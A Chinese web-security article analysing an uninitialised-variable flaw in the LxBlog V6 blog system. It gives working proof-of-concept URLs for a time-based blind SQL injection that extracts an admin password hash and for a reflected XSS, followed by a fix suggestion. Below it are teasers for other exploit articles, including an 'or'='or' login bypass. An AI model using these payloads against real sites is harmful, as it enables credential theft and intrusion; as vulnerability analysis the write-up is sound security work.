浅析 LxBlog V6 变量未初始化漏洞
所属分类:
网络安全 / 漏洞分析
阅读数:
199
收藏 0赞 0分享
Lxblog 是 PHPWind 开发的一套基于 PHP+MySQL 数据库平台架构的多用户博客系统,强调整站与用户个体间的交互,拥有强大的个人主页系统、独立的二级域名体系、灵活的用户模板系统、丰富的朋友圈和相册功 能。但是该blog系统在安全性上并不让人满意,本文就来分析lxblog一个变量未初始化造成的sql注入漏洞。
我们先来分析一下这个漏洞,看代码:
=======================code==================================
/user/tag.php
<?php
!function_exists('usermsg') && exit('Forbidden');
!in_array($type,$item_type) && exit;
//$type、$item_type均没有初始化
require_once(R_P.'mod/charset_mod.php');
foreach ($_POST as $key => $value) {
${'utf8_'.$key} = $value;
${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}
if ($job == 'add') {
……//省略部分代码
}elseif($job=="modify"){
$tagnum="{$type}num";
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
//$type带入查询语句操作数据库
$touchtagdb['uid']!=$admin_uid && exit;
……//省略部分代码
=======================code==================================
当 然,在文件的第一行有 !function_exists('usermsg') && exit('Forbidden'); 这样一段代码的限制,我们不能直接访问该文件,但是可以通过user_index.php来include这个文件执行,看具体代码
=======================code==================================
//user_index.php
<?php
……//省略部分代码
require_once(R_P.'user/global.php');
require_once(R_P.'user/top.php');
if (!$action) {
……//省略部分代码
} elseif ($action && file_exists(R_P."user/$action.php")) {
$basename = "$user_file?action=$action";
require_once(Pcv(R_P."user/$action.php"));
//通过提交$action=tag即可以调用到存在漏洞的文件
}
……//省略部分代码
=======================code==================================
看到这个地方,应该已经可以触发该漏洞了,但是依然要考虑到是否会受到register_global的影响,幸好user_index.php在开始的时候包含了user/global.php这个文件,看看这个文件为我们提供了什么
=======================code==================================
//user/global.php
<?
……//省略部分代码
if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) {
//'blogdata','comment','itemcp','post','userinfo','global','top'
//我们提交的action=tag,不在上面这个数组里面,可以触发下面的代码成功绕过register_global的影响
foreach ($_POST as $_key => $_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key];
}
foreach ($_GET as $_key => $_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key];
}
}
……//省略部分代码
=======================code==================================
通过上面的分析,我们已经可以成功控制$type和$item_type的值了,但是还要注意两个地方:
第一个地方是要满足 in_array($type,$item_type),我们通过直接将$type和$item_type[]赋值为相同变量即可
第二个地方是要注意我们注射的语句
$touchtagdb=$db->get_one("SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'");
综合以上,我们构造出来盲注的代码如下
=======================poc==================================
//判断uid=1的用户的密码第一位的ASCII值是否大于0
http://blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
=======================poc==================================
通 过浏览器返回的时间来判断是否猜解正确,如果是正确的话,浏览器返回的比较慢,近似假死状态,否则返回的就比较正常。使用二分法不断猜解即可。另外,如果 数据库版本较低,可以使用benchmark函数来盲注,具体的expliot就不提供了,有需要的可以自己写个代码跑跑,不是什么难事。
另外我们看下lxblog的数据库容错代码
=======================code==================================
function DB_ERROR($msg) {
global $db_blogname,$REQUEST_URI;
$sqlerror = mysql_error();
$sqlerrno = mysql_errno();
//ob_end_clean();
echo"<html><head><title>$db_blogname</title><style type='text/css'>P,BODY{FONT-FAMILY:tahoma,arial,sans-serif;FONT-SIZE:11px;}A { TEXT-DECORATION: none;}a:hover{ text-decoration: underline;}TD { BORDER-RIGHT: 1px; BORDER-TOP: 0px; FONT-SIZE: 16pt; COLOR: #000000;}</style><body>\n\n";
echo"<table style='TABLE-LAYOUT:fixed;WORD-WRAP: break-word'><tr><td>$msg";
echo"<br><br><b>The URL Is</b>:<br>http://$_SERVER[HTTP_HOST]$REQUEST_URI";
echo"<br><br><b>MySQL Server Error</b>:<br>$sqlerror ( $sqlerrno )";
echo"<br><br><b>You Can Get Help In</b>:<br><a target=_blank href=http://www.phpwind.net><b>http://www.phpwind.net</b></a>";
echo"</td></tr></table>";
exit;
}
=======================code==================================
函数直接将造成数据库错误的url返回给客户端,对输出未作任何过滤,造成了xss漏洞,下面是我对官方的测试:
=======================poc==================================
http://www.lxblog.net/user_index.php?action=tag&job=modify&type=<script>alert(/xss/)</script>&item_type[]=<script>alert(/xss/)</script>
=======================poc==================================
Lxblog 的漏洞就分析到这里了,这个漏洞的修补也很简单,只要在数据库查询语句前面将变量$item_type赋值为指定的数组就可以了。网上的PHP程序有不少 都存在类似的漏洞,由于变量没有被正确的初始化,从而导致攻击者可以控制变量被改变程序的流程执行一些非法操作。其实这个问题并不复杂,保持一个良好的编 码习惯,正确初始化类和变量即可杜绝此类漏洞。
万能密码漏洞以及修复
万能密码漏洞以及修复 记得几年前要入侵一个企业网站超级简单 一般只需要找到后台 还有后台通常是www.xxx.com/admin/ 然后账号 密码都是'or'='or' 就进去 现在好像有几个也可以用 但是已经没那么普及了 如果网站还出现这种“
收藏 0赞 0分享
恒浪IMS整合系统V4.1 多文件存在SQL注入漏洞
影响版本:
HoWave V4.1 ASP
漏洞描述:
在文件inc/ hl_manage.inc中:
adminUserId= Request.Cookies("hl_manage")("username")
收藏 0赞 0分享
Gh0st控制端逻辑漏洞
严重程度:高
威胁程度:控制远程主机
错误类型:逻辑错误
利用方式:主机模式
受影响系统
Gh0st3.6之前所有版本
未影响系统
未知
详细描述
Gh0st 发现漏洞一个逻辑漏洞,这些漏洞可以被用户利用,可以从被控端向控制端发送任意文件到任意位置。
测试
收藏 0赞 0分享
微软IIS6漏洞:服务器敏感信息易被窃
近日,安全专家对使用微软Internet信息服务IIS 6的管理员发出警告,声称Web服务器很容易受到攻击并暴露出密码保护的文件和文件夹。
据悉,基于WebDAV协议的部分进程命令中存在这种漏洞。通过给Web地址添加一些Unicode字符,黑客就可以访问这些敏感文件&mda
收藏 0赞 0分享
校内网最新 xss Cookies得到密码
From:http://t00ls.net/viewthread.php?tid=1323&highlight=
校内网在发blog时对插入图片过滤不严格,存在xss漏洞.
在发blog时将插入图片URL写为如下代码即可触发:普通浏览复制代码打印代码
javas
收藏 0赞 0分享
phpcms2008 注入漏洞
这个是最新有人发现的
该漏洞文件:ask/search_ajax.php
漏洞说明:
/ask/search_ajax.php
Code:
if($q)
{
$where = " title LIKE '%$q%' AND status = 5&qu
收藏 0赞 0分享
PHPWIND & DISCUZ! CSRF漏洞
PHPWIND & DISCUZ! CSRF漏洞影响版本:
Discuz! 6.0.0 & 6.1.0 & 7.0.0
PHPWIND 6.0 & 6.3 & 7.0
漏洞描述:
PHPWIND & DISCUZ!存在CSRF漏洞
收藏 0赞 0分享
phpwin7.0拿shell的方法
事发一星期前,在入侵一个PHPWIND论坛时的成果,适用于PHPWIND不能上传,而网上盛传的三种拿SEHLL方法都无效,可以一试,应该算是PHPWIND后台的漏洞
准备工具:winsock专家 v0.6 betan1 一只;UE-32.EXE一只;NC.EXE一只,电脑一台(
收藏 0赞 0分享
查看更多